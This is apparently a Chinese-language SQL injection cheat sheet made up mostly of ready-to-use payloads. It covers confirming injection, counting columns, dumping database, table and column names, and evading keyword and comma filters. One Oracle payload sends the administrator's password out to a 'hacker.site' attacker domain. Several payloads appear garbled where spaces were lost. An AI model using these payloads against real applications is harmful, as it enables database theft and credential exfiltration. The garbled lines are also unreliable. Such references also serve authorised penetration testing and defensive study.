MySQL#comment-- comment [Note the space after the double dash]/*comment*//*! MYSQL Special SQL */PostgreSQL--comment/*comment*/MSQL--comment/*comment*/Oracle--commentSQLite--comment/*comment*/HQLHQL does not support comments
使用逻辑操作确认
确认 SQL 注入漏洞的可靠方法包括执行逻辑操作并观察预期结果。例如,当修改 GET 参数,如 ?username=Peter 到 ?username=Peter' or '1'='1 时产生相同内容,表明存在 SQL 注入漏洞。
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
1' ORDER BY 1--+ #True1'ORDER BY2--+ #True1' ORDER BY 3--+ #True1'ORDER BY4--+ #False - Query is only using 3 columns#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True1'GROUP BY2--+ #True1' GROUP BY 3--+ #True1'GROUP BY4--+ #False - Query is only using 3 columns#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
选择更多的空值,直到查询正确为止:
1' UNION SELECT null-- - Not working1'UNIONSELECTnull,null-- - Not working1' UNION SELECT null,null,null-- - Worked
在某些情况下,查询两侧列的类型必须相同,因此应使用null值。
提取数据库名称、表名称和列名称
在下面的示例中,我们将检索所有数据库的名称、数据库的表名称以及表的列名称:
#Database names-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata#Tables of a database-1'UniOnSelect1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]#Column names-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
a' UNION SELECT EXTRACTVALUE(xmltype('<?xmlversion="1.0"encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
使用十进制或十六进制
通过这种技术,您可以仅创建一个帐户来提取信息。重要的是要注意,您不需要添加任何注释。
使用hex2dec和substr:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+''+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'#Full ascii uppercase and lowercase replace:'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
通用绕过方法
黑名单关键字 - 使用大写/小写绕过
?id=1AND1=1#?id=1AnD1=1#?id=1aNd1=1#
使用关键字黑名单不区分大小写 - 通过使用等效运算符绕过
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
绕过列名限制
首先要注意,如果原始查询和你想从中提取标志的表具有相同数量的列,你可以简单地执行:0 UNION SELECT * FROM flag
可以访问表的第三列而无需使用其名称,使用以下查询:SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;,因此在SQL注入中会是这样的形式:
# This is an example with 3 columns that will extract the column number 3-1UNIONSELECT0,0,0,F.3FROM (SELECT 1,2,3UNIONSELECT*FROMdemo)F;
或者使用逗号绕过:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"-1unionselect*from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c